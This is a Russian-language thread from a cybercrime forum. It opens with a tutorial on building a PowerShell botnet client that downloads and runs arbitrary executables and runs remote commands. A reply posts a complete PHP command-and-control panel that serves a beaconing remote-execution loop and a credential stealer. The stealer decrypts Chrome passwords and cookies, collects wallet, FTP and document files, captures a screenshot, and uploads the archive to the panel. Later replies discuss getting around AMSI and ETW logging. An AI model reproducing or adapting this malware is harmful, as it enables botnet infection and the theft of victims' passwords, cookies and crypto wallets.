• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем fileless бота на PowerShell. Часть I.

V1rtualGh0st

(L3) cache
Пользователь
Регистрация
08.12.2018
Сообщения
228
Реакции
485
Гарант сделки
19
Депозит
0.00
Привет, XSS, решил сделать "пилотную" статью по созданию и построению своего небольшого ботнета, отличительным свойством которого будет возможность заражать машины терпил простых работяг без бинарного файла. В первой статье мы затронем лишь написание основы нашего ботнета, а для этого достаточно будет хранить команды в обычном .txt файле.
Это мой первый опыт в написании данного вида малвари (тем более на PowerShell) , соответственно в некоторых моментах могу допускать ошибки, буду благодарен если вы сможете меня исправлять.

В первой части:
  • "Каскад" нашего бота.​
  • Добавления начального функционала: Loader файлов, Invoke повершелл команд.​
  • Парс задач для боти и их выполнение.​

Сам цикл статей будет разбит на несколько частей:
  1. Принцип работы бота, основа. Парсинг команд с C&C сервера и их выполнение.
  2. Расширение функционала. Методы обхода статического детекта AV. Добавление методов DDoS.
  3. Создание панели для ботнета.
  4. Методы доставки зловреда. Простые техники целивых / массовых заражений.
Приступим!

Ботнет (англ. botnet от robot и network) — это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным программным обеспечением. Чаще всего бот в составе ботнета является программой, скрытно устанавливаемой на компьютере жертвы и позволяющей злоумышленнику выполнять некие действия с использованием ресурсов заражённого компьютера. В 99% случаев используются для нелегальной деятельности — рассылки спама, перебора паролей на удалённой системе, атак на отказ в обслуживании. и так далее.

1589639117828.png

Для начала подготовим создаём новый .ps1 файл с любым именем. Так как кодить я буду в стандартной IDE для PowerShell, то просто запускаем Windows PowerShell ISE (по дефолту есть в большинстве Win-машинах) и открываем наш созданный файл (Ctrl + o и выбираем файл).
1589632789188.png


Следует упомянуть, что писать бота мы будем на PowerShell v5, но адаптировать его под версии помладше не составит особого труда)

Теперь на нужно добавить пару юзингов: System.IO - для работы с файлами и папками, System.Regex - для парса конфига, System.Diagnostics - для запуска процессов и System.Net - для работы с сетью.
C#:
using namespace System.IO
using namespace System.Regex
using namespace System.Diagnostics
using namespace System.Net

Так-же для красоты кода можем обернуть юзинги в region.
В итоге получается так:
1589633322713.png

Теперь создадим две вспомогательные функции: randomString - которая возвращает рандомный набор символов, jsonRegex - которая возвращает регулярное выражение.
PHP:
function randomString()
{
return $(-join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_}))
}

function jsonRegex($tag1, $tag2)
{
 return "(?<=$tag1)(.*)(?=$tag2)"
}

1589634139726.png

Теперь пора добавить базовые модули. Опять же для красоты кода создадим класс "Modules" в котором и будем помещать все методы.
Код с оформлением (BB-коды):
Class Modules
{
# Modules Here
}
Добавим первый метод в нашего ботю - Loader. В классе Modules добавляем новый метод с именем Loader, который будет принимать два аргумента: url - ссылка на файл, selfDelete - булевое выражение, которое будет отвечать за самоудаление скаченного файла. Код с комментариями:
PHP:
static Loader([string]$url, [bool]$selfDelete)
 {
  try
  {
   $output = "$([Path]::GetTempPath())$(randomString).exe" # Output path with random file name
  # Write-Host $output
   $wc = [WebClient]::new() # new class object

   $wc.DownloadFile($url, $output) # File load
   [Process]::Start($output) # Run file
  
   if($selfDelete)
    {
      [File]::Delete($output); # Remove output file
    }
  }
  catch{}   
 }
Должно получится примерно так:
1589635483555.png

И создаём ещё один новый метод, который будет инвокать повершелл команды - invokeCommand.
C#:
  static invokeCommand([string]$command2invoke)
 {
 try{
   Invoke-Expression($command2invoke)
   }
   catch{}
 }

Тест инвока:
1589635938818.png

С модулями пока всё, самый начальный функционал есть, остальное мы напишем в следующих частях. Пора накодить парс комманд.
Как я говорил в самом начале статьи, на первых этапах мы будем хранить команды в txt файле, поэтому создаём новый текстовик, и добавляем следующее:
<ps>Write-Host "Method Invoked!"</ps>
Как вы поняли, комманды будут храниться между двумя тегами. В данном примере это ps, который будет говорить боту, что нужно инвокнуть метод.
Создадим новый класс с именем MainClass, в нём создаём переменную, которая будет считывать весь текст с текстовика:
C#:
Class MainClass
{
 static [string]$content = [File]::ReadAllText("C:\Users\%USERNAME%\Desktop\content.txt"); # Path to .txt file
}

Теперь создадим метод с именем Main, который будет являться главным. В методе Main создаём две переменные Regex: loaderReg - с помощью которой будем парсить комманду для лоадера, psCommand - с помощью которой будем парсить комманду для инвока:
C#:
static Main()
 {
   [Regex]$loaderReg = [Regex]::new($(jsonRegex -tag1 "<loader>" -tag2 "</loader>"))
   [Regex]$psCommand = [Regex]::new($(jsonRegex -tag1 "<ps>" -tag2 "</ps>"))                                                                                                                                                                                                                             
 }

И теперь реализуем простые проверки, в которых парсим значение между тегами, и вызываем методы с этими значениями:
PHP:
   if($loaderReg.IsMatch([MainClass]::content))
   {
     [string]$url = $loaderReg.Match([MainClass]::content)
     [Modules]::Loader($url, $true)
   }
  
   if($psCommand.IsMatch([MainClass]::content))
   {
     [string]$command = $psCommand.Match([MainClass]::content)
     [Modules]::invokeCommand($command)
   }

Итого получаем:
1589637358115.png


По сути парс закончен, перейдём к тестам. В текстовом файле, что мы создали пишем простую команду:
<ps>Write-Host "Method Succes Invoked!"</ps>
Сохраняем файл, в коде бота вызываем главный метод ([MainClass]::Main()), запускаем скрипт и смотрим вывод:
1589637772054.png


Заключение.
На этом статья подходит к концу. напомню, что это была "пилотная" часть из возможного цикла статей. В следующих статьях мы дополним функционал методами DDoS'а, кражей данных с ПК жертвы, а так-же затронем тему обфускации и закрепления в системе. Остались вопросы или предложения? - Отпиши либо в этой теме, либо мне в пм (в зависимости от вопроса)). Спасибо за прочтение, и всего хорошего!

P.S Сорец прикреплён к статье.

(с) V1rtualGh0st специально для xss.pro!
 

Вложения

  • BotSource.zip
    883 байт · Просмотры: 147
Пожалуйста, обратите внимание, что пользователь заблокирован
А где он в память у тебя инжектится? fileless ведь
 
Чего только не придумают. Уже ботов на павершелле пишут =)
 
А где он в память у тебя инжектится? fileless ведь
В первой части:
  • "Каскад" нашего бота.​
  • Добавления начального функционала: Loader файлов, Invoke повершелл команд.​
  • Парс задач для боти и их выполнение.​
 
Пожалуйста, обратите внимание, что пользователь заблокирован
V1rtualGh0st ну хорошо, буду ждать продолжение...
 
Реквестирую Haunt в тему.
Я тут. Обсуждать то по сути еще нечего. Из явного - лоадер дропает на диск то, что ему скажут грузить. Не из памяти. Фронтенда нет, как и бекенда(нечего обсуждать пока что, реально.) Кстати тот синтаксис, что использует тс, не будет работать на пш второй версии (class). А значит минус вин7 в поддержке. Если разрабатывать для пш под вин7, то на пш под вин10 будет работать, то что написал для семерки, но не наоборот(не учитывая специфику отличий апи версий виндоус). Как по мне, тема с пш раскрыта на данный момент процентов на 5 максимум. Асинхронные запросы, многопоток, инвок/компиляция дотнета(можно как из памяти грузить заранее скомпилированное, так и компилировать прям на боте через AddType/CodeDomCompiler, а можно юзать дотнет типы прям в пш типо System.Net.WebClient, /safe/unsafe тип сборки и зачем и в каких случаях нужен unsafe), принципы запуска(этот ваш execution policy и ограничение в 8190 символов CMD и как обойти ограничение, ванлайнеры и тд), инвок винапи в общем, инвок нативных шеллкодов с помощью этого самого винапи, делегаты, IntPtr или место, где хранить ваши хэндлы, принципы анализа аверами, в чем разница пш версии 2 и 3, принципы логгирования, принципы построения архитектуры пш бота, принципы чистки от инструкции к инструкции, принципы работы с COM/WMI с под пш, принципы работы с реестром, работа с AST, возможности обфускации, реверс AMSI интерфейса и как прокидываются скрипты интерпретатором на чек, рефлексия(Invoke-Expression лишь малая часть этого), обзор GC и почему он иногда работает не так как надо(через жопу) и что с этим делать. Все что вспомнил навскидку, поток сознания. Этого всего пока нет, но оно и к лучшему.
Чего только не придумают. Уже ботов на павершелле пишут =)
Это не кастрированный jscript/vbs. Винапи/дотнет инвокается норм, значит написать можно что хочешь, тот же сишарп только интерпретированный и без промежуточного байт-кода. Компиляция не нужна. Билд = обычный текст, который превращается в набор инструкций с помощью рефлексии. Никаких метаданных и собственно PE формата. Текст интерпретирует PE, который подписан сертом MS. Априори лишаешься всего головняка, что был раньше
 
Последнее редактирование:
Прописать в автозапуск одну строку, что бы она Invoke-Expression скрипт находящийся в php панели, пхп панель отдает например код для стиллера как в этом стареньком исходе для хромов ниже 80х:

PHP:
<?php
    //заголовок для отображения текста на странице
    header("Content-Type: text/plain; charset=utf-8");
    ini_set("max_execution_time", 0);
    ini_set("upload_max_filesize", "100M");
    ini_set("post_max_size", "100M");

    function SendRatReq()
    {
        echo '
                $id = $(get-wmiobject Win32_ComputerSystemProduct -computername . | Select-Object -ExpandProperty UUID) -replace "-",":";
                $us = $env:UserName;
                $os = $env:COMPUTERNAME;
                $url = "{0}/?id={1}&us={2}&os={3}" -f $s, $id, $us, $os;
                while (1)
                {
                    Start-Sleep -Seconds 5;
                    $script = Invoke-RestMethod -Uri $url -Method Get;
                    if($script -gt 0)
                    {
                        Invoke-Expression $script;
                    };
                };';
        exit;
    }

    function SendPswdReq()
    {
        echo '
                $PASSWORDARR  = @();
                $COOKIEARR    = @();
                $CR_LOGINDATA = "Login Data";
                $CR_COOKIES   = "Cookies";
                $CR_WEBDATA   = "Web Data";
                $CR_HISTORY   = "History";
                $CR_FILES     = $CR_LOGINDATA, $CR_COOKIES, $CR_WEBDATA, $CR_HISTORY, "recentservers.xml", "sitemanager.xml", "*ftp*.xml", "*ftp*.ini", "accounts.xml", "exodus.wallet", "keystore", "*.wallet", "*let.dat", "*.pem", "map1", "map0", "D877F783D5D3EF8C0", "D877F783D5D3EF8C1", "*.txt", "*.doc", "*.docx", "*.rtf";
                $FILEDB_ARR   = @(Get-ChildItem -Path "$Env:LOCALAPPDATA", "$Env:APPDATA", "$Env:HOMEPATH/Desktop" -Include $CR_FILES -Recurse -ErrorAction SilentlyContinue);
                $FOLDER       = "{0}\data" -f "$Env:TEMP";
                $FILEZIP      = "{0}\arch.zip" -f "$Env:TEMP";
                $PASSFILE     = "{0}\PASSLOG.txt" -f "$Env:TEMP";
                $COOKIES      = "{0}\COOKIES.txt" -f "$Env:TEMP";
                $SCRSHOT      = "{0}\SCREEN.bmp" -f "$Env:TEMP";

                New-Item -Path $FOLDER -ItemType Directory;

                if ($FILEDB_ARR.Length -gt 0)
                {
                    $sqlite = "{0}/System.Data.SQLite.dll" -f $s;
                    $interl = "{0}/SQLite.Interop.dll" -f $s;

                    $SQLitePath = "{0}/System.Data.SQLite.dll" -f "$Env:TEMP";
                    $SQIntrPath = "{0}/SQLite.Interop.dll" -f "$Env:TEMP";

                    Invoke-WebRequest -Uri $sqlite -OutFile $SQLitePath;
                    Invoke-WebRequest -Uri $interl -OutFile $SQIntrPath;

                    Add-Type -AssemblyName System.Security;
                    [System.Reflection.Assembly]::LoadFile($SQLitePath) | Out-Null;
                    
                    foreach ($FILEDB in $FILEDB_ARR)
                    {
                        if ($FILEDB.BaseName -eq $CR_LOGINDATA)
                        {
                            $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);
                            Copy-Item -Path $FILEDB -Destination $DB;
                            $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";
                            $conn.Open();
                            $command = New-Object System.Data.SQLite.SQLiteCommand("select signon_realm, username_value, password_value from logins;", $conn);
                            $reader  = $command.ExecuteReader();
                            while ($reader.Read())
                            {
                                $enc = [system.text.encoding]::Default;
                                $password_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["password_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
                                $PASSWORDARR += "URL: {0}`nUSR: {1}`nPWD: {2}`n`n" -f $reader["signon_realm"], $reader["username_value"], $password_value;
                            }
                            Remove-Item -Path $DB -Force;
                        } elseif ($FILEDB.BaseName -eq $CR_COOKIES)
                        {
                            $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);
                            Copy-Item -Path $FILEDB -Destination $DB;
                            $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";
                            $conn.Open();
                            $command = New-Object System.Data.SQLite.SQLiteCommand("select host_key, is_httponly, is_secure, name, path, last_access_utc, encrypted_value from cookies;", $conn);
                            $reader = $command.ExecuteReader();
                            while ($reader.Read())
                            {
                                $enc = [system.text.encoding]::Default;
                                $encrypted_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["encrypted_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
                                [string]$is_secure = [bool]$reader["is_secure"];
                                [string]$is_httponly = [bool]$reader["is_httponly"];
                                $COOKIEARR += "{0}`t{1}`t{2}`t{3}`t{4}`t{5}`t{6}" -f $reader["host_key"], $is_secure.ToUpper(), $reader["path"], $is_httponly.ToUpper(), $reader["last_access_utc"], $reader["name"], $encrypted_value;
                            }
                            Remove-Item -Path $DB -Force;
                        } else
                        {
                            $FILEDS = "{0}\{1}{2}" -f $FOLDER, $FILEDB.BaseName, $FILEDB.Extension;
                            Copy-Item -Path $FILEDB -Destination $FILEDS;
                        }
                    }

                    Add-Type -AssemblyName System.Windows.Forms
                    Add-type -AssemblyName System.Drawing;
                    $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;
                    $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height;
                    $graphic = [System.Drawing.Graphics]::FromImage($bitmap);
                    $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size);
                    $bitmap.save($SCRSHOT);

                    $PASSWORDARR | Out-File -Append $PASSFILE;
                    $COOKIEARR | Out-File -Append $COOKIES;
                    Compress-Archive -Force -Path $SCRSHOT -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $PASSFILE -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $COOKIES -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $FOLDER -DestinationPath $FILEZIP;

                    Remove-Item -Path $PASSFILE -Force;
                    Remove-Item -Path $COOKIES -Force;
                    Remove-Item -Path $SCRSHOT -Force;
                    Remove-Item -Path $FOLDER -Recurse -Force;
                    Remove-Item -Path $SQLitePath -Force;
                    Remove-Item -Path $SQIntrPath -Force;
                    $wc = New-Object System.Net.WebClient;
                    $wc.UploadFile($url, $FILEZIP);
                }';
        exit;
    }

    //конфигурация базы данных
    $db_host         =     "localhost";   
    $db_login         =     "root";       
    $db_password     =     "1234";     
    $db_database     =     "databaza";   
    $db_botable     =     "clients";   

    //подключение к базе данных с клиентами
    $data = mysqli_connect($db_host, $db_login, $db_password, $db_database);

    //если все прошло благополучно
    if ($data)
    {
        //если метод запроса клиента - гет
        if ($_SERVER["REQUEST_METHOD"] == "GET")
        {
            //берем время постукивания клиента
            $time = date("d-m-Y").", ".date("h:i:s");
            //получаем его гуид, имя юзера, oc, адрес
            $run = htmlspecialchars($_REQUEST['run']);
            
            if ($run != NULL)
            {
                SendRatReq();
            }

            $uid = htmlspecialchars($_REQUEST['id']);
            $username = htmlspecialchars($_REQUEST['us']);
            $osverstion = htmlspecialchars($_REQUEST['os']);
            $ipaddr = htmlspecialchars($_SERVER["REMOTE_ADDR"]);
            //если они не равны нулю
            if ($uid != NULL and $username != NULL and $osverstion != NULL)
            {
                //составляем выражение для поиска уже зареганого клиента
                $sql = "SELECT cm FROM clients WHERE id='$uid' AND us='$username' AND os='$osverstion'";
                if ($result = mysqli_query($data, $sql))
                {
                    //если клиент есть
                    if (mysqli_num_rows($result) > 0)
                    {
                        while ($row = mysqli_fetch_array($result))
                        {
                            //если команда для клиента равна нулю
                            if ($row['cm'] == NULL)
                            {
                                echo "write-host 'hello, d0ct0rW0nd3rta1nm3nt'";
                            }
                            else
                            {
                                if ($row['cm'] == 'pswd')
                                {
                                    SendPswdReq();
                                }
                            }
                        }
                    } //если это первое подключение клиента то добавляем его в базу данных
                    else
                    {
                        //подключаем модуль геолокации
                        require("geoip.php");
                        //получаем страну клиента по айпи
                        $country = ip_code($ipaddr);
                        //составляем запрос
                        $sql = "INSERT INTO clients (id, us, os, ip, tm, cm) VALUES ('$uid', '$username', '$osverstion', '$ipaddr', '$time', '')";
                        //вставляем в таблицу
                        if (mysqli_query($data, $sql))
                        {
                            SendPswdReq();
                        }
                        else
                        {
                            //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);
                        }
                    }
                }
                else
                {
                    //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);
                }
            }
        }
        else
        {
            $uid = htmlspecialchars($_REQUEST['id']);
            $username = htmlspecialchars($_REQUEST['us']);
            $osverstion = htmlspecialchars($_REQUEST['os']);
            
            if (isset($_FILES['file']['tmp_name']))
            {
                $fsname   = "1.zip";
                $file = $_FILES['file']['tmp_name'];
                $name = basename($_FILES['file']['name']);
                $ext  = explode(".", $name);
                move_uploaded_file($file, $fsname);
            }
        }
    }
?>

Даже я из говна и палок уже рассказал как делать в принципе адм.
 
Я тут. Обсуждать то по сути еще нечего. Из явного - лоадер дропает на диск то, что ему скажут грузить. Не из памяти. Фронтенда нет, как и бекенда(нечего обсуждать пока что, реально.) Кстати тот синтаксис, что использует тс, не будет работать на пш второй версии (class). А значит минус вин7 в поддержке. Если разрабатывать для пш под вин7, то на пш под вин10 будет работать, то что написал для семерки, но не наоборот(не учитывая специфику отличий апи версий виндоус). Как по мне, тема с пш раскрыта на данный момент процентов на 5 максимум. Асинхронные запросы, многопоток, инвок/компиляция дотнета(можно как из памяти грузить заранее скомпилированное, так и компилировать прям на боте через AddType/CodeDomCompiler, а можно юзать дотнет типы прям в пш типо System.Net.WebClient, /safe/unsafe тип сборки и зачем и в каких случаях нужен unsafe), принципы запуска(этот ваш execution policy и ограничение в 8190 символов CMD и как обойти ограничение, ванлайнеры и тд), инвок винапи в общем, инвок нативных шеллкодов с помощью этого самого винапи, делегаты, IntPtr или место, где хранить ваши хэндлы, принципы анализа аверами, в чем разница пш версии 2 и 3, принципы логгирования, принципы построения архитектуры пш бота, принципы чистки от инструкции к инструкции, принципы работы с COM/WMI с под пш, принципы работы с реестром, работа с AST, возможности обфускации, реверс AMSI интерфейса и как прокидываются скрипты интерпретатором на чек, рефлексия(Invoke-Expression лишь малая часть этого), обзор GC и почему он иногда работает не так как надо(через жопу) и что с этим делать. Все что вспомнил навскидку, поток сознания. Этого всего пока нет, но оно и к лучшему.

Это не кастрированный jscript/vbs. Винапи/дотнет инвокается норм, значит написать можно что хочешь, тот же сишарп только интерпретированный и без промежуточного байт-кода. Компиляция не нужна. Билд = обычный текст, который превращается в набор инструкций с помощью рефлексии. Никаких метаданных и собственно PE формата. Текст интерпретирует PE, который подписан сертом MS. Априори лишаешься всего головняка, что был раньше
А вот про принципы чистки я хотел бы подискутировать, а то у меня волосы с лобка на голову полезли, когда я попробовал почистить мимикадз на ps:) Впринципе тема очень интересная и важная я так считаю, но в том проекте, я плюнул на всё и переделывал на пайтоне, так как нужно было делать все быстро и безопасно, так как инфраструктура была неизвестна. Очень много неприятностей доставляет amsi, я прям рыдаю иногда.
 
Прописать в автозапуск одну строку, что бы она Invoke-Expression скрипт находящийся в php панели, пхп панель отдает например код для стиллера как в этом стареньком исходе для хромов ниже 80х:

PHP:
<?php
    //заголовок для отображения текста на странице
    header("Content-Type: text/plain; charset=utf-8");
    ini_set("max_execution_time", 0);
    ini_set("upload_max_filesize", "100M");
    ini_set("post_max_size", "100M");

    function SendRatReq()
    {
        echo '
                $id = $(get-wmiobject Win32_ComputerSystemProduct -computername . | Select-Object -ExpandProperty UUID) -replace "-",":";
                $us = $env:UserName;
                $os = $env:COMPUTERNAME;
                $url = "{0}/?id={1}&us={2}&os={3}" -f $s, $id, $us, $os;
                while (1)
                {
                    Start-Sleep -Seconds 5;
                    $script = Invoke-RestMethod -Uri $url -Method Get;
                    if($script -gt 0)
                    {
                        Invoke-Expression $script;
                    };
                };';
        exit;
    }

    function SendPswdReq()
    {
        echo '
                $PASSWORDARR  = @();
                $COOKIEARR    = @();
                $CR_LOGINDATA = "Login Data";
                $CR_COOKIES   = "Cookies";
                $CR_WEBDATA   = "Web Data";
                $CR_HISTORY   = "History";
                $CR_FILES     = $CR_LOGINDATA, $CR_COOKIES, $CR_WEBDATA, $CR_HISTORY, "recentservers.xml", "sitemanager.xml", "*ftp*.xml", "*ftp*.ini", "accounts.xml", "exodus.wallet", "keystore", "*.wallet", "*let.dat", "*.pem", "map1", "map0", "D877F783D5D3EF8C0", "D877F783D5D3EF8C1", "*.txt", "*.doc", "*.docx", "*.rtf";
                $FILEDB_ARR   = @(Get-ChildItem -Path "$Env:LOCALAPPDATA", "$Env:APPDATA", "$Env:HOMEPATH/Desktop" -Include $CR_FILES -Recurse -ErrorAction SilentlyContinue);
                $FOLDER       = "{0}\data" -f "$Env:TEMP";
                $FILEZIP      = "{0}\arch.zip" -f "$Env:TEMP";
                $PASSFILE     = "{0}\PASSLOG.txt" -f "$Env:TEMP";
                $COOKIES      = "{0}\COOKIES.txt" -f "$Env:TEMP";
                $SCRSHOT      = "{0}\SCREEN.bmp" -f "$Env:TEMP";

                New-Item -Path $FOLDER -ItemType Directory;

                if ($FILEDB_ARR.Length -gt 0)
                {
                    $sqlite = "{0}/System.Data.SQLite.dll" -f $s;
                    $interl = "{0}/SQLite.Interop.dll" -f $s;

                    $SQLitePath = "{0}/System.Data.SQLite.dll" -f "$Env:TEMP";
                    $SQIntrPath = "{0}/SQLite.Interop.dll" -f "$Env:TEMP";

                    Invoke-WebRequest -Uri $sqlite -OutFile $SQLitePath;
                    Invoke-WebRequest -Uri $interl -OutFile $SQIntrPath;

                    Add-Type -AssemblyName System.Security;
                    [System.Reflection.Assembly]::LoadFile($SQLitePath) | Out-Null;
                   
                    foreach ($FILEDB in $FILEDB_ARR)
                    {
                        if ($FILEDB.BaseName -eq $CR_LOGINDATA)
                        {
                            $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);
                            Copy-Item -Path $FILEDB -Destination $DB;
                            $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";
                            $conn.Open();
                            $command = New-Object System.Data.SQLite.SQLiteCommand("select signon_realm, username_value, password_value from logins;", $conn);
                            $reader  = $command.ExecuteReader();
                            while ($reader.Read())
                            {
                                $enc = [system.text.encoding]::Default;
                                $password_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["password_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
                                $PASSWORDARR += "URL: {0}`nUSR: {1}`nPWD: {2}`n`n" -f $reader["signon_realm"], $reader["username_value"], $password_value;
                            }
                            Remove-Item -Path $DB -Force;
                        } elseif ($FILEDB.BaseName -eq $CR_COOKIES)
                        {
                            $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);
                            Copy-Item -Path $FILEDB -Destination $DB;
                            $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";
                            $conn.Open();
                            $command = New-Object System.Data.SQLite.SQLiteCommand("select host_key, is_httponly, is_secure, name, path, last_access_utc, encrypted_value from cookies;", $conn);
                            $reader = $command.ExecuteReader();
                            while ($reader.Read())
                            {
                                $enc = [system.text.encoding]::Default;
                                $encrypted_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["encrypted_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));
                                [string]$is_secure = [bool]$reader["is_secure"];
                                [string]$is_httponly = [bool]$reader["is_httponly"];
                                $COOKIEARR += "{0}`t{1}`t{2}`t{3}`t{4}`t{5}`t{6}" -f $reader["host_key"], $is_secure.ToUpper(), $reader["path"], $is_httponly.ToUpper(), $reader["last_access_utc"], $reader["name"], $encrypted_value;
                            }
                            Remove-Item -Path $DB -Force;
                        } else
                        {
                            $FILEDS = "{0}\{1}{2}" -f $FOLDER, $FILEDB.BaseName, $FILEDB.Extension;
                            Copy-Item -Path $FILEDB -Destination $FILEDS;
                        }
                    }

                    Add-Type -AssemblyName System.Windows.Forms
                    Add-type -AssemblyName System.Drawing;
                    $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;
                    $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height;
                    $graphic = [System.Drawing.Graphics]::FromImage($bitmap);
                    $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size);
                    $bitmap.save($SCRSHOT);

                    $PASSWORDARR | Out-File -Append $PASSFILE;
                    $COOKIEARR | Out-File -Append $COOKIES;
                    Compress-Archive -Force -Path $SCRSHOT -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $PASSFILE -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $COOKIES -DestinationPath $FILEZIP;
                    Compress-Archive -Update -Path $FOLDER -DestinationPath $FILEZIP;

                    Remove-Item -Path $PASSFILE -Force;
                    Remove-Item -Path $COOKIES -Force;
                    Remove-Item -Path $SCRSHOT -Force;
                    Remove-Item -Path $FOLDER -Recurse -Force;
                    Remove-Item -Path $SQLitePath -Force;
                    Remove-Item -Path $SQIntrPath -Force;
                    $wc = New-Object System.Net.WebClient;
                    $wc.UploadFile($url, $FILEZIP);
                }';
        exit;
    }

    //конфигурация базы данных
    $db_host         =     "localhost";  
    $db_login         =     "root";      
    $db_password     =     "1234";    
    $db_database     =     "databaza";  
    $db_botable     =     "clients";  

    //подключение к базе данных с клиентами
    $data = mysqli_connect($db_host, $db_login, $db_password, $db_database);

    //если все прошло благополучно
    if ($data)
    {
        //если метод запроса клиента - гет
        if ($_SERVER["REQUEST_METHOD"] == "GET")
        {
            //берем время постукивания клиента
            $time = date("d-m-Y").", ".date("h:i:s");
            //получаем его гуид, имя юзера, oc, адрес
            $run = htmlspecialchars($_REQUEST['run']);
           
            if ($run != NULL)
            {
                SendRatReq();
            }

            $uid = htmlspecialchars($_REQUEST['id']);
            $username = htmlspecialchars($_REQUEST['us']);
            $osverstion = htmlspecialchars($_REQUEST['os']);
            $ipaddr = htmlspecialchars($_SERVER["REMOTE_ADDR"]);
            //если они не равны нулю
            if ($uid != NULL and $username != NULL and $osverstion != NULL)
            {
                //составляем выражение для поиска уже зареганого клиента
                $sql = "SELECT cm FROM clients WHERE id='$uid' AND us='$username' AND os='$osverstion'";
                if ($result = mysqli_query($data, $sql))
                {
                    //если клиент есть
                    if (mysqli_num_rows($result) > 0)
                    {
                        while ($row = mysqli_fetch_array($result))
                        {
                            //если команда для клиента равна нулю
                            if ($row['cm'] == NULL)
                            {
                                echo "write-host 'hello, d0ct0rW0nd3rta1nm3nt'";
                            }
                            else
                            {
                                if ($row['cm'] == 'pswd')
                                {
                                    SendPswdReq();
                                }
                            }
                        }
                    } //если это первое подключение клиента то добавляем его в базу данных
                    else
                    {
                        //подключаем модуль геолокации
                        require("geoip.php");
                        //получаем страну клиента по айпи
                        $country = ip_code($ipaddr);
                        //составляем запрос
                        $sql = "INSERT INTO clients (id, us, os, ip, tm, cm) VALUES ('$uid', '$username', '$osverstion', '$ipaddr', '$time', '')";
                        //вставляем в таблицу
                        if (mysqli_query($data, $sql))
                        {
                            SendPswdReq();
                        }
                        else
                        {
                            //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);
                        }
                    }
                }
                else
                {
                    //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);
                }
            }
        }
        else
        {
            $uid = htmlspecialchars($_REQUEST['id']);
            $username = htmlspecialchars($_REQUEST['us']);
            $osverstion = htmlspecialchars($_REQUEST['os']);
           
            if (isset($_FILES['file']['tmp_name']))
            {
                $fsname   = "1.zip";
                $file = $_FILES['file']['tmp_name'];
                $name = basename($_FILES['file']['name']);
                $ext  = explode(".", $name);
                move_uploaded_file($file, $fsname);
            }
        }
    }
?>

Даже я из говна и палок уже рассказал как делать в принципе адм.
Скрытый контент для пользователей: shkolnick1337.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
можно как из памяти грузить заранее скомпилированное, так и компилировать прям на боте через AddType/CodeDomCompiler
Чисто формально, когда ты запускаешь компиляцию через CodeDom твой сорец, который ты собственно пытаешься скомпилить, упадет в темп. Это в принципе не особая проблема, но в этом топике все себе в грудь тапком бьют за бесфайловость))
 
Чисто формально, когда ты запускаешь компиляцию через CodeDom твой сорец, который ты собственно пытаешься скомпилить, упадет в темп. Это в принципе не особая проблема, но в этом топике все себе в грудь тапком бьют за бесфайловость))
Так и есть, тот же Add-Type под капотом делает то же самое, что ты описал, по этому переписывать надо на пш код, либо же без add-type подгружать assemblies в память, посплайсить EtwEventWrite, чтобы в списке .net assemblies не показывало подгруженное..)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх